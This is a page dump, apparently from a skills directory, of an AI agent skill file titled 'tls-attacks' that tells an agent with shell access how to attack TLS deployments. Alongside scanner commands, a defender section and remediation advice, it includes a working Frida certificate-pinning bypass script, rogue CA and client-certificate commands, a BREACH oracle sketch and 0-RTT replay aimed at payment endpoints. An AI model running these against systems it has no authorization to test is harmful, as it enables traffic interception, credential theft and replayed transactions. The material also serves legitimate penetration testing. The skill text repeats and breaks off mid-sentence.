[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7DFKEF9EA4R0NKY7EXAKMJQ":3,"skill-same:01M7DFKEF9EA4R0NKY7EXAKMJQ":50},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":14,"repositoryHtmlUrl":33,"repositoryHomepageUrl":6,"ownerHtmlUrl":34,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":35,"install":36,"resources":49},"01M7DFKEF9EA4R0NKY7EXAKMJQ","tls-attacks",null,"TLS\u002FSSL implementation and misconfiguration exploitation — protocol downgrade (POODLE CVE-2014-3566, DROWN CVE-2016-0800, FREAK CVE-2015-0204), BEAST (CVE-2011-3389), CRIME\u002FBREACH compression oracles, Heartbleed (CVE-2014-0160), certificate validation and pinning bypass (mobile: Frida\u002FObjection), HSTS bypass and TLS stripping, TLS 1.3 0-RTT replay, mTLS authentication attacks, Certificate Transparency reconnaissance. Tools: testssl.sh, sslyze, sslscan, tlsx, openssl, Objection, Frida, certstream. Maps to CWE-295, CWE-319, CWE-757.","Akapi895\u002Fraptix","Akapi895","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F83953516?v=4","01M7DEGNDGERR4F4YETDFVA512","Phạm Anh Tuấn","01M7DEGNEHYZNA920AYM5EH7H8",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fexploit\u002Ftls-attacks\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: tls-attacks\ndescription: \"TLS\u002FSSL implementation and misconfiguration exploitation — protocol downgrade (POODLE CVE-2014-3566, DROWN CVE-2016-0800, FREAK CVE-2015-0204), BEAST (CVE-2011-3389), CRIME\u002FBREACH compression oracles, Heartbleed (CVE-2014-0160), certificate validation and pinning bypass (mobile: Frida\u002FObjection), HSTS bypass and TLS stripping, TLS 1.3 0-RTT replay, mTLS authentication attacks, Certificate Transparency reconnaissance. Tools: testssl.sh, sslyze, sslscan, tlsx, openssl, Objection, Frida, certstream. Maps to CWE-295, CWE-319, CWE-757.\"\nallowed-tools: Bash Read Write\nmetadata:\n  subdomain: web-exploitation\n  mitre_attack: T1557, T1040\n  runtime_note: \"Manual runbook — testssl.sh, sslyze, sslscan, openssl available in Kali sandbox. tlsx and certstream may need install. No MCP adapter for TLS scanning; run via bash tool.\"\n  when_to_use: \"tls ssl poodle drown freak beast crime breach heartbleed certificate pinning bypass HSTS 0-rtt replay mtls certificate transparency testssl sslyze sslscan tlsx\"\n---\n\n# TLS\u002FSSL Attacks and Misconfiguration Exploitation\n\nYou are performing offensive TLS\u002FSSL analysis against target infrastructure. This skill covers the full attack surface of transport layer security -- from protocol-level cryptographic weaknesses to implementation bugs, certificate validation failures, and deployment misconfigurations. You treat every TLS handshake as an opportunity for enumeration and every certificate chain as a trust boundary to probe.\n\n## Quick Workflow\n\n1. Enumerate the target's TLS configuration -- supported protocols, cipher suites, certificate chain, extensions.\n2. Identify deprecated protocols (SSLv2, SSLv3, TLS 1.0, TLS 1.1) and weak cipher suites (export, NULL, RC4, DES, 3DES).\n3. Check for known protocol vulnerabilities -- POODLE, DROWN, FREAK, BEAST, Heartbleed.\n4. Test compression oracle exposure -- CRIME at the TLS layer, BREACH at the HTTP layer.\n5. Validate certificate handling -- chain verification, hostname matching, pinning enforcement, revocation checking.\n6. Assess TLS 1.3 features -- 0-RTT replay, downgrade sentinel presence, supported groups.\n7. For mobile targets, bypass certificate pinning and intercept traffic.\n8. Document findings with protocol evidence and remediation priorities.\n\n---\n\n## TLS Enumeration and Scanning\n\nBegin every TLS engagement with comprehensive enumeration. Use testssl.sh as the primary tool -- it requires no dependencies beyond bash and OpenSSL and produces detailed output covering protocols, ciphers, vulnerabilities, and certificate details.\n\n```bash\n# Full scan with all checks, output to JSON and HTML\ntestssl.sh --jsonfile results.json --htmlfile results.html \\\n  --ip one --sneaky --warnings batch \\\n  target.com:443\n\n# Quick protocol and cipher check\ntestssl.sh --protocols --ciphers target.com:443\n\n# Check only for specific vulnerabilities\ntestssl.sh --heartbleed --ccs-injection --ticketbleed \\\n  --robot --poodle --beast --crime --breach --drown --freak \\\n  --logjam --sweet32 target.com:443\n\n# Scan multiple targets from a file\ntestssl.sh --file targets.txt --parallel 10 --jsonfile bulk_results.json\n```\n\nUse sslyze for Python-integrated scanning and CI\u002FCD pipeline integration:\n\n```bash\n# Standard scan with all plugins\nsslyze --regular target.com\n\n# JSON output for programmatic processing\nsslyze --json_out results.json target.com\n\n# Check specific vulnerability classes\nsslyze --heartbleed --openssl_ccs --robot target.com\n\n# Scan with client certificate authentication\nsslyze --cert \u002Fpath\u002Fto\u002Fclient.pem --key \u002Fpath\u002Fto\u002Fclient.key target.com\n```\n\nUse sslscan for rapid cipher enumeration and tlsx for high-speed probing at scale:\n\n```bash\n# sslscan quick enumeration\nsslscan --no-fallback target.com:443\n\n# tlsx high-speed probing across many hosts\ncat hosts.txt | tlsx -p 443,8443,9443 -json -o tls_results.json\n\n# tlsx specific checks\ncat hosts.txt | tlsx -san -cn -so -json  # Extract SANs, CNs, server orgs\ncat hosts.txt | tlsx -tls-version tls10   # Find hosts still accepting TLS 1.0\ncat hosts.txt | tlsx -expired -self-signed -mismatched  # Certificate issues\n```\n\n---\n\n## Protocol Downgrade Attacks\n\nProtocol downgrade attacks force a TLS connection to negotiate a weaker protocol version that has known vulnerabilities. These attacks exploit the backward-compatible fallback mechanisms built into TLS.\n\n**POODLE (CVE-2014-3566)** exploits the non-deterministic padding in SSLv3 CBC mode. Unlike TLS, SSLv3 does not specify the padding byte values, and the receiver does not verify them -- only the padding length byte matters. This allows an active attacker to decrypt one byte of plaintext per 256 requests on average.\n\n```bash\n# Check if the target supports SSLv3\ntestssl.sh --poodle target.com:443\nopenssl s_client -ssl3 -connect target.com:443\n\n# TLS POODLE variant: check for CBC padding oracle in TLS implementations\ntestssl.sh --poodle target.com:443\n# Look for \"POODLE, TLS\" in output -- indicates vulnerable TLS implementation\n```\n\n**DROWN (CVE-2016-0800)** is a cross-protocol attack. If a server (or any server sharing the same RSA key) supports SSLv2, an attacker can decrypt passively captured TLS sessions. The attack adapts Bleichenbacher's RSA padding oracle using SSLv2 export cipher handshakes.\n\n```bash\n# Check for SSLv2 support (direct DROWN)\ntestssl.sh --drown target.com:443\n\n# Check with OpenSSL (requires a build with SSLv2 enabled)\nopenssl s_client -ssl2 -connect target.com:443\n\n# General DROWN also applies when another server shares the same RSA key\n# Extract the certificate and search for key reuse across infrastructure\nopenssl s_client -connect target.com:443 \u003C\u002Fdev\u002Fnull 2>\u002Fdev\u002Fnull | \\\n  openssl x509 -noout -modulus | md5sum\n# Compare this modulus hash across all servers in scope\n```\n\n**FREAK (CVE-2015-0204)** forces a downgrade to RSA_EXPORT cipher suites with 512-bit RSA keys, which are factorable in hours on commodity hardware:\n\n```bash\n# Check for export cipher support\ntestssl.sh --freak target.com:443\nsslyze --openssl_ccs target.com\n\n# Enumerate export ciphers directly\nopenssl s_client -cipher EXPORT -connect target.com:443\nnmap --script ssl-enum-ciphers -p 443 target.com | grep -i export\n```\n\n---\n\n## BEAST Attack\n\nBEAST (CVE-2011-3389) exploits the predictable IV in TLS 1.0 CBC mode. In TLS 1.0, the IV for each record is the last ciphertext block of the previous record, making it known to an attacker who can observe the ciphertext. Combined with a chosen-plaintext capability (via JavaScript in a browser), this enables blockwise decryption of targeted bytes.\n\n```bash\n# Check for BEAST vulnerability\ntestssl.sh --beast target.com:443\n\n# Verify TLS 1.0 with CBC ciphers is available\nopenssl s_client -tls1 -cipher 'AES128-SHA' -connect target.com:443\n```\n\nBEAST requires the attacker to inject chosen plaintext into the same TLS connection (typically via JavaScript in adjacent browser contexts). Modern mitigations include 1\u002Fn-1 record splitting (implemented in all current browsers) and upgrading to TLS 1.2+ where explicit IVs are used.\n\nConfirm the condition: if `openssl s_client -tls1 -cipher 'ALL:!eNULL'` negotiates any CBC cipher, the connection is BEAST-eligible. Cross-reference the server's JA3S fingerprint to verify TLS 1.0 negotiation.\n\n---\n\n## CRIME and BREACH\n\n**CRIME (CVE-2012-4929)** exploits TLS-level compression. When TLS compression is enabled, an attacker who can inject chosen plaintext into a request and observe the compressed ciphertext length can recover secret values (such as session cookies) one byte at a time.\n\n```bash\n# Check for TLS compression\ntestssl.sh --crime target.com:443\nopenssl s_client -connect target.com:443 | grep -i compression\n# \"Compression: NONE\" means not vulnerable to CRIME\n```\n\n**BREACH** exploits HTTP-level compression (gzip\u002Fdeflate) and is far more prevalent than CRIME because HTTP compression is almost universally enabled. The attack recovers secrets that appear in HTTP response bodies alongside attacker-reflected input.\n\n```bash\n# Check for BREACH preconditions\ntestssl.sh --breach target.com:443\n\n# Manual check: verify HTTP compression is enabled\ncurl -sI -H \"Accept-Encoding: gzip, deflate\" https:\u002F\u002Ftarget.com\u002F | \\\n  grep -i content-encoding\n# \"Content-Encoding: gzip\" combined with reflected input + secrets in body = vulnerable\n```\n\n```python\nimport requests\nimport string\n\ndef breach_probe(url, known_prefix, charset=string.ascii_letters + string.digits):\n    \"\"\"\n    BREACH oracle: measure compressed response length to recover secrets.\n    Requires: HTTP compression enabled, secret in response body,\n    attacker can inject chosen text that is reflected in the same response.\n    \"\"\"\n    results = {}\n    for c in charset:\n        candidate = known_prefix + c\n        # Inject candidate via a reflected parameter\n        resp = requests.get(url, params={\"search\": candidate},\n                          headers={\"Accept-Encoding\": \"gzip\"})\n        # The response object's content is decompressed; use raw socket\n        # or measure the actual wire bytes for a real attack.\n        # Here we demonstrate the concept:\n        results[c] = len(resp.content)\n\n    # The correct byte compresses better (shorter response)\n    best = min(results, key=results.get)\n    return known_prefix + best\n\n# BREACH mitigations: disable HTTP compression for pages containing secrets,\n# add random padding to responses, use per-request CSRF tokens,\n# separate secret-bearing responses from reflected-input responses\n```\n\n---\n\n## Heartbleed (CVE-2014-0160)\n\nHeartbleed is a buffer over-read in OpenSSL's TLS heartbeat extension (OpenSSL 1.0.1 through 1.0.1f). A malformed heartbeat request causes the server to return up to 64KB of process memory per request, potentially exposing private keys, session cookies, credentials, and other sensitive data.\n\n```bash\n# Test for Heartbleed\ntestssl.sh --heartbleed target.com:443\nsslyze --heartbleed target.com\n\n# Nmap script\nnmap -p 443 --script ssl-heartbleed target.com\n\n# Manual test with OpenSSL\n# This requires a version of OpenSSL that supports the heartbeat extension\nopenssl s_client -connect target.com:443 -tlsextdebug 2>&1 | \\\n  grep -i heartbeat\n```\n\nThe attack sends a TLS heartbeat request declaring a large payload length (up to 16384 bytes) but including only a single byte of actual payload. Vulnerable OpenSSL versions return the declared length from process memory. Each request leaks up to 64KB; repeated requests may expose private keys, session tokens, and credentials from different memory regions. Use the Nmap script or testssl.sh for reliable detection; for manual exploitation, existing PoC scripts (heartbleed.py variants) handle the raw TLS handshake and heartbeat framing.\n\n---\n\n## Certificate Validation Bypass\n\nApplications that fail to properly validate TLS certificates create interception opportunities. Common flaws include disabled verification, missing hostname checks, accepting self-signed certificates, and incomplete chain validation.\n\n```python\n# Detect applications with disabled certificate verification\n# These patterns indicate vulnerable implementations:\n\n# Python requests - disabled verification\n# requests.get(url, verify=False)\n\n# Python urllib3 - disabled warnings indicate suppressed verification\n# urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# Node.js - disabled TLS rejection\n# process.env.NODE_TLS_REJECT_UNAUTHORIZED = \"0\"\n\n# Java - TrustAllCerts pattern\n# TrustManager[] trustAllCerts = new TrustManager[] {\n#     new X509TrustManager() {\n#         public void checkClientTrusted(...) {}\n#         public void checkServerTrusted(...) {}\n#     }\n# };\n\n# cURL - insecure flag\n# curl -k \u002F curl --insecure\n```\n\nSearch for these patterns in source code and configuration files during assessments:\n\n```bash\n# Search for disabled certificate verification in codebases\ngrep -rn \"verify=False\" --include=\"*.py\" .\ngrep -rn \"CERT_NONE\" --include=\"*.py\" .\ngrep -rn \"NODE_TLS_REJECT_UNAUTHORIZED\" --include=\"*.js\" .\ngrep -rn \"InsecureTrustManagerFactory\" --include=\"*.java\" .\ngrep -rn \"TrustAllCerts\\|trustAllCerts\\|ALLOW_ALL\" --include=\"*.java\" .\ngrep -rn \"AllowAllHostnameVerifier\\|NoopHostnameVerifier\" --include=\"*.java\" .\ngrep -rn \"ServerCertificateValidationCallback\" --include=\"*.cs\" .\ngrep -rn \"InsecureSkipVerify.*true\" --include=\"*.go\" .\n```\n\n---\n\n## Certificate Pinning Bypass\n\nMobile applications that implement certificate pinning require active bypass techniques for traffic interception. Use Frida and Objection for runtime instrumentation.\n\n```bash\n# Objection: automated pinning bypass for Android and iOS\n# Launch the target application with Objection\nobjection -g com.target.app explore\n\n# Inside the Objection REPL:\n# Disable SSL pinning (covers common pinning libraries)\nandroid sslpinning disable\n# or for iOS:\nios sslpinning disable\n```\n\n```bash\n# Frida: custom pinning bypass scripts\n\n# Android: bypass OkHttp CertificatePinner\nfrida -U -f com.target.app -l bypass_pinning.js --no-pause\n\n# Universal Android SSL pinning bypass with Frida\nfrida -U -f com.target.app --codeshare pcipolloni\u002Funiversal-android-ssl-pinning-bypass-with-frida\n```\n\n```javascript\n\u002F\u002F bypass_pinning.js - Frida script for Android SSL pinning bypass\n\u002F\u002F Covers OkHttp, TrustManager, WebView, and common pinning libraries\n\nJava.perform(function() {\n    \u002F\u002F Bypass OkHttp3 CertificatePinner\n    try {\n        var CertificatePinner = Java.use('okhttp3.CertificatePinner');\n        CertificatePinner.check.overload('java.lang.String', 'java.util.List')\n            .implementation = function(hostname, peerCertificates) {\n            console.log('[+] OkHttp3 CertificatePinner bypassed for: ' + hostname);\n            return;\n        };\n    } catch (e) {\n        console.log('[-] OkHttp3 not found');\n    }\n\n    \u002F\u002F Bypass custom TrustManager\n    try {\n        var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');\n        var SSLContext = Java.use('javax.net.ssl.SSLContext');\n\n        var TrustManager = Java.registerClass({\n            name: 'com.bypass.TrustManager',\n            implements: [X509TrustManager],\n            methods: {\n                checkClientTrusted: function(chain, authType) {},\n                checkServerTrusted: function(chain, authType) {},\n                getAcceptedIssuers: function() { return []; }\n            }\n        });\n\n        var TrustManagers = [TrustManager.$new()];\n        var sslContext = SSLContext.getInstance('TLS');\n        sslContext.init(null, TrustManagers, null);\n        console.log('[+] Custom TrustManager installed');\n    } catch (e) {\n        console.log('[-] TrustManager bypass failed: ' + e);\n    }\n\n    \u002F\u002F Bypass Android WebView SSL errors\n    try {\n        var WebViewClient = Java.use('android.webkit.WebViewClient');\n        WebViewClient.onReceivedSslError.implementation = function(view, handler, error) {\n            console.log('[+] WebView SSL error bypassed');\n            handler.proceed();\n        };\n    } catch (e) {\n        console.log('[-] WebViewClient bypass not applicable');\n    }\n});\n```\n\n```bash\n# For rooted Android devices: install a system CA certificate\n# Convert your proxy CA to Android format\nopenssl x509 -inform PEM -subject_hash_old -in proxy_ca.pem | head -1\n# Rename to \u003Chash>.0\ncp proxy_ca.pem 9a5ba575.0\nadb push 9a5ba575.0 \u002Fsystem\u002Fetc\u002Fsecurity\u002Fcacerts\u002F\nadb shell chmod 644 \u002Fsystem\u002Fetc\u002Fsecurity\u002Fcacerts\u002F9a5ba575.0\n```\n\n---\n\n## HSTS Bypass and TLS Stripping\n\nHSTS prevents downgrade from HTTPS to HTTP, but it has inherent bootstrap and scope weaknesses.\n\n```bash\n# Check HSTS configuration\ncurl -sI https:\u002F\u002Ftarget.com | grep -i strict-transport-security\n\n# Verify HSTS preload status\n# Check https:\u002F\u002Fhstspreload.org\u002F?domain=target.com\n\n# sslstrip2 (Leonardo Nve's HSTS bypass) works by:\n# 1. Stripping HTTPS links on first visit (before HSTS is cached)\n# 2. Replacing domains with similar subdomains not covered by HSTS\n# 3. Proxying the real HTTPS connection on the attacker side\n\n# mitmproxy with sslstrip mode\nmitmproxy --mode transparent --ssl-insecure --set block_global=false\n```\n\nHSTS bypass vectors:\n- **First visit**: HSTS is trust-on-first-use. If the user has never visited the site and the site is not on the preload list, the initial HTTP request can be intercepted.\n- **Subdomain scope**: `includeSubDomains` is often missing. Attack via `http:\u002F\u002Fsub.target.com` even if `target.com` has HSTS.\n- **NTP manipulation**: HSTS entries expire. If you can manipulate the client's clock (via NTP spoofing on the local network), cached HSTS policies can be aged out.\n- **Private browsing**: Some browsers do not persist HSTS across private browsing sessions.\n\n---\n\n## TLS 1.3 -- 0-RTT Replay\n\nTLS 1.3 eliminates most legacy attacks but introduces 0-RTT (Early Data) which is explicitly not replay-protected. Servers that accept 0-RTT data for non-idempotent operations are vulnerable to replay attacks.\n\n```bash\n# Check if the server accepts 0-RTT early data\nopenssl s_client -connect target.com:443 -tls1_3 -sess_out session.pem\nopenssl s_client -connect target.com:443 -tls1_3 -sess_in session.pem \\\n  -early_data request.txt\n\n# testssl.sh checks for 0-RTT\ntestssl.sh --grease target.com:443\n```\n\nThe two-step openssl test above is definitive: if the second connection succeeds and the server processes the early data file, 0-RTT is accepted. A network attacker who captures the ClientHello and early data from a legitimate connection can replay it verbatim. Target non-idempotent endpoints -- fund transfers, account modifications, order submissions -- where replay has material impact. Servers should implement anti-replay per RFC 8446 Section 8 or reject 0-RTT entirely for state-changing operations.\n\n---\n\n## mTLS Attacks\n\nMutual TLS authentication presents additional attack surfaces around client certificate handling.\n\n```bash\n# Enumerate mTLS requirements\nopenssl s_client -connect target.com:443 2>&1 | grep -A5 \"Acceptable client\"\n\n# Test with a stolen or self-signed client certificate\nopenssl s_client -connect target.com:443 \\\n  -cert client.pem -key client.key -CAfile ca.pem\n\n# Generate a rogue client certificate matching the expected CN\u002FOU\nopenssl req -x509 -newkey rsa:2048 -keyout rogue.key -out rogue.pem \\\n  -days 365 -nodes \\\n  -subj \"\u002FCN=legitimate-service\u002FO=Target Corp\u002FOU=Engineering\"\n\n# Check if the server validates the issuing CA or just the certificate fields\nopenssl s_client -connect target.com:443 -cert rogue.pem -key rogue.key\n```\n\nAttack vectors against mTLS:\n- **Missing CA validation**: Server accepts any client certificate regardless of issuer.\n- **Overly broad CA trust**: Server trusts a CA that also issues certificates to unrelated parties.\n- **Client certificate theft**: Extract client certificates from keystores, environment variables, CI\u002FCD pipelines, or container images.\n- **Certificate relay**: Forward client certificate challenges to a legitimate client and relay responses.\n\n---\n\n## Certificate Transparency Monitoring\n\nCT logs are a reconnaissance goldmine. Every publicly trusted certificate is logged, revealing subdomains, internal hostnames, and infrastructure changes.\n\n```bash\n# Query CT logs via crt.sh\ncurl -s \"https:\u002F\u002Fcrt.sh\u002F?q=%25.target.com&output=json\" | \\\n  python3 -c \"\nimport json, sys\ndata = json.load(sys.stdin)\ndomains = set()\nfor entry in data:\n    name = entry.get('name_value', '')\n    for d in name.split('\\n'):\n        domains.add(d.strip())\nfor d in sorted(domains):\n    print(d)\n\"\n\n# Monitor for new certificates in real-time\n# Use certstream for live CT log monitoring\npip install certstream\n\n# certstream_monitor.py\npython3 -c \"\nimport certstream\n\ndef callback(message, context):\n    if message['message_type'] == 'certificate_update':\n        all_domains = message['data']['leaf_cert']['all_domains']\n        for domain in all_domains:\n            if 'target.com' in domain:\n                print(f'New cert: {domain}')\n\ncertstream.listen_for_events(callback, url='wss:\u002F\u002Fcertstream.calidog.io\u002F')\n\"\n```\n\n```bash\n# Enumerate subdomains from CT logs using subfinder or amass\nsubfinder -d target.com -sources crtsh\namass enum -d target.com -src -ip\n```\n\n---\n\n## Detection \u002F Defender View\n\nDefenders should monitor for the following indicators of TLS attacks:\n\n- **Downgrade probes**: Connections attempting SSLv2, SSLv3, or TLS 1.0 from modern client fingerprints. A client advertising a modern TLS stack but then falling back to SSLv3 is suspicious. Log and alert on protocol version mismatches between ClientHello capabilities and the negotiated version.\n- **Heartbleed scanning**: Heartbeat requests with a declared payload length larger than the actual payload. IDS signatures exist for the malformed heartbeat pattern. Monitor for repeated heartbeat requests from the same source.\n- **Compression oracle probing**: Rapid sequences of requests with incrementally varying parameters to the same endpoint, combined with precise response size measurement. This pattern indicates BREACH or CRIME exploitation attempts.\n- **Certificate pinning bypass**: On mobile backends, monitor for connections from known application builds that present unexpected TLS client fingerprints (JA3\u002FJA4 hashes) -- this indicates an instrumented runtime.\n- **0-RTT replay**: Monitor application logs for duplicated non-idempotent operations. Implement server-side replay caches (anti-replay mechanisms per RFC 8446 Section 8) and reject 0-RTT data for state-changing operations.\n- **CT monitoring**: Defenders should proactively monitor CT logs for unauthorized certificates issued for their domains. This detects both compromised CAs and domain validation attacks.\n\nRemediation priorities: disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1 entirely; remove all export, NULL, RC4, DES, and 3DES cipher suites; deploy HSTS with `includeSubDomains` and `preload`; disable TLS compression; use TLS 1.3 as the preferred protocol; reject 0-RTT early data for non-idempotent endpoints; implement certificate pinning with backup pins and reporting; enable OCSP stapling.\n\n---\n\n## Engagement Cheatsheet\n\n| Vulnerability          | Tool \u002F Check                  | Indicator                                      |\n|------------------------|-------------------------------|------------------------------------------------|\n| POODLE (SSLv3)         | testssl.sh --poodle           | SSLv3 with CBC ciphers accepted                |\n| DROWN (SSLv2)          | testssl.sh --drown            | SSLv2 support or shared RSA key with SSLv2 host|\n| FREAK (export ciphers) | testssl.sh --freak            | RSA_EXPORT cipher suites accepted              |\n| BEAST (TLS 1.0 CBC)    | testssl.sh --beast            | TLS 1.0 with CBC cipher negotiated             |\n| CRIME                  | testssl.sh --crime            | TLS-level compression enabled                  |\n| BREACH                 | Content-Encoding: gzip + reflection | HTTP compression + secret + reflected input |\n| Heartbleed             | testssl.sh --heartbleed       | OpenSSL 1.0.1 to 1.0.1f with heartbeat ext    |\n| Cert validation        | grep -rn verify=False         | Disabled verification in source code           |\n| Cert pinning (mobile)  | objection \u002F Frida             | Pin bypass allows proxy interception           |\n| HSTS missing           | curl -sI + header check       | No Strict-Transport-Security header            |\n| 0-RTT replay           | openssl s_client -early_data  | Server accepts and processes early data         |\n| mTLS weakness          | openssl s_client -cert        | Server accepts rogue client certificates       |\n\nProtocol version risk summary:\n- SSLv2: catastrophically broken (DROWN). Must be disabled everywhere.\n- SSLv3: broken (POODLE). Must be disabled everywhere.\n- TLS 1.0: weak (BEAST, deprecated by RFC 8996). Disable.\n- TLS 1.1: no known protocol attacks but deprecated by RFC 8996. Disable.\n- TLS 1.2: secure with correct cipher suite selection (AEAD ciphers only).\n- TLS 1.3: secure. Watch 0-RTT replay for non-idempotent operations.\n\n---\n\n## Key References\n\n- Moller, B. et al. \"This POODLE Bites: Exploiting the SSL 3.0 Fallback.\" Google Security Advisory, 2014.\n- Aviram, N. et al. \"DROWN: Breaking TLS using SSLv2.\" USENIX Security 2016.\n- Beurdouche, B. et al. \"A Messy State of the Union: Taming the Composite State Machines of TLS.\" IEEE S&P 2015.\n- Duong, T. and Rizzo, J. \"Here Come the XOR Ninjas.\" (BEAST) Ekoparty 2011.\n- Rizzo, J. and Duong, T. \"The CRIME Attack.\" Ekoparty 2012.\n- Gluck, Y. et al. \"BREACH: Reviving the CRIME Attack.\" Black Hat USA 2013.\n- CVE-2014-0160: OpenSSL Heartbleed. https:\u002F\u002Fheartbleed.com\n- RFC 8446: The Transport Layer Security (TLS) Protocol Version 1.3, Section 8 (0-RTT and Anti-Replay).\n- RFC 8996: Deprecating TLS 1.0 and TLS 1.1.\n- CWE-295: Improper Certificate Validation.\n- CWE-319: Cleartext Transmission of Sensitive Information.\n- CWE-757: Selection of Less-Secure Algorithm During Negotiation.\n- testssl.sh: https:\u002F\u002Ftestssl.sh\n- sslyze: https:\u002F\u002Fgithub.com\u002Fnabla-c0d3\u002Fsslyze\n- Frida: https:\u002F\u002Ffrida.re\n- Objection: https:\u002F\u002Fgithub.com\u002Fsensepost\u002Fobjection\n","# TLS\u002FSSL Attacks and Misconfiguration Exploitation\n\nYou are performing offensive TLS\u002FSSL analysis against target infrastructure. This skill covers the full attack surface of transport layer security -- from protocol-level cryptographic weaknesses to implementation bugs, certificate validation failures, and deployment misconfigurations. You treat every TLS handshake as an opportunity for enumeration and every certificate chain as a trust boundary to probe.\n\n## Quick Workflow\n\n1. Enumerate the target's TLS configuration -- supported protocols, cipher suites, certificate chain, extensions.\n2. Identify deprecated protocols (SSLv2, SSLv3, TLS 1.0, TLS 1.1) and weak cipher suites (export, NULL, RC4, DES, 3DES).\n3. Check for known protocol vulnerabilities -- POODLE, DROWN, FREAK, BEAST, Heartbleed.\n4. Test compression oracle exposure -- CRIME at the TLS layer, BREACH at the HTTP layer.\n5. Validate certificate handling -- chain verification, hostname matching, pinning enforcement, revocation checking.\n6. Assess TLS 1.3 features -- 0-RTT replay, downgrade sentinel presence, supported groups.\n7. For mobile targets, bypass certificate pinning and intercept traffic.\n8. Document findings with protocol evidence and remediation priorities.\n\n---\n\n## TLS Enumeration and Scanning\n\nBegin every TLS engagement with comprehensive enumeration. Use testssl.sh as the primary tool -- it requires no dependencies beyond bash and OpenSSL and produces detailed output covering protocols, ciphers, vulnerabilities, and certificate details.\n\n```bash\n# Full scan with all checks, output to JSON and HTML\ntestssl.sh --jsonfile results.json --htmlfile results.html \\\n  --ip one --sneaky --warnings batch \\\n  target.com:443\n\n# Quick protocol and cipher check\ntestssl.sh --protocols --ciphers target.com:443\n\n# Check only for specific vulnerabilities\ntestssl.sh --heartbleed --ccs-injection --ticketbleed \\\n  --robot --poodle --beast --crime --breach --drown --freak \\\n  --logjam --sweet32 target.com:443\n\n# Scan multiple targets from a file\ntestssl.sh --file targets.txt --parallel 10 --jsonfile bulk_results.json\n```\n\nUse sslyze for Python-integrated scanning and CI\u002FCD pipeline integration:\n\n```bash\n# Standard scan with all plugins\nsslyze --regular target.com\n\n# JSON output for programmatic processing\nsslyze --json_out results.json target.com\n\n# Check specific vulnerability classes\nsslyze --heartbleed --openssl_ccs --robot target.com\n\n# Scan with client certificate authentication\nsslyze --cert \u002Fpath\u002Fto\u002Fclient.pem --key \u002Fpath\u002Fto\u002Fclient.key target.com\n```\n\nUse sslscan for rapid cipher enumeration and tlsx for high-speed probing at scale:\n\n```bash\n# sslscan quick enumeration\nsslscan --no-fallback target.com:443\n\n# tlsx high-speed probing across many hosts\ncat hosts.txt | tlsx -p 443,8443,9443 -json -o tls_results.json\n\n# tlsx specific checks\ncat hosts.txt | tlsx -san -cn -so -json  # Extract SANs, CNs, server orgs\ncat hosts.txt | tlsx -tls-version tls10   # Find hosts still accepting TLS 1.0\ncat hosts.txt | tlsx -expired -self-signed -mismatched  # Certificate issues\n```\n\n---\n\n## Protocol Downgrade Attacks\n\nProtocol downgrade attacks force a TLS connection to negotiate a weaker protocol version that has known vulnerabilities. These attacks exploit the backward-compatible fallback mechanisms built into TLS.\n\n**POODLE (CVE-2014-3566)** exploits the non-deterministic padding in SSLv3 CBC mode. Unlike TLS, SSLv3 does not specify the padding byte values, and the receiver does not verify them -- only the padding length byte matters. This allows an active attacker to decrypt one byte of plaintext per 256 requests on average.\n\n```bash\n# Check if the target supports SSLv3\ntestssl.sh --poodle target.com:443\nopenssl s_client -ssl3 -connect target.com:443\n\n# TLS POODLE variant: check for CBC padding oracle in TLS implementations\ntestssl.sh --poodle target.com:443\n# Look for \"POODLE, TLS\" in output -- indicates vulnerable TLS implementation\n```\n\n**DROWN (CVE-2016-0800)** is a cross-protocol attack. If a server (or any server sharing the same RSA key) supports SSLv2, an attacker can decrypt passively captured TLS sessions. The attack adapts Bleichenbacher's RSA padding oracle using SSLv2 export cipher handshakes.\n\n```bash\n# Check for SSLv2 support (direct DROWN)\ntestssl.sh --drown target.com:443\n\n# Check with OpenSSL (requires a build with SSLv2 enabled)\nopenssl s_client -ssl2 -connect target.com:443\n\n# General DROWN also applies when another server shares the same RSA key\n# Extract the certificate and search for key reuse across infrastructure\nopenssl s_client -connect target.com:443 \u003C\u002Fdev\u002Fnull 2>\u002Fdev\u002Fnull | \\\n  openssl x509 -noout -modulus | md5sum\n# Compare this modulus hash across all servers in scope\n```\n\n**FREAK (CVE-2015-0204)** forces a downgrade to RSA_EXPORT cipher suites with 512-bit RSA keys, which are factorable in hours on commodity hardware:\n\n```bash\n# Check for export cipher support\ntestssl.sh --freak target.com:443\nsslyze --openssl_ccs target.com\n\n# Enumerate export ciphers directly\nopenssl s_client -cipher EXPORT -connect target.com:443\nnmap --script ssl-enum-ciphers -p 443 target.com | grep -i export\n```\n\n---\n\n## BEAST Attack\n\nBEAST (CVE-2011-3389) exploits the predictable IV in TLS 1.0 CBC mode. In TLS 1.0, the IV for each record is the last ciphertext block of the previous record, making it known to an attacker who can observe the ciphertext. Combined with a chosen-plaintext capability (via JavaScript in a browser), this enables blockwise decryption of targeted bytes.\n\n```bash\n# Check for BEAST vulnerability\ntestssl.sh --beast target.com:443\n\n# Verify TLS 1.0 with CBC ciphers is available\nopenssl s_client -tls1 -cipher 'AES128-SHA' -connect target.com:443\n```\n\nBEAST requires the attacker to inject chosen plaintext into the same TLS connection (typically via JavaScript in adjacent browser contexts). Modern mitigations include 1\u002Fn-1 record splitting (implemented in all current browsers) and upgrading to TLS 1.2+ where explicit IVs are used.\n\nConfirm the condition: if `openssl s_client -tls1 -cipher 'ALL:!eNULL'` negotiates any CBC cipher, the connection is BEAST-eligible. Cross-reference the server's JA3S 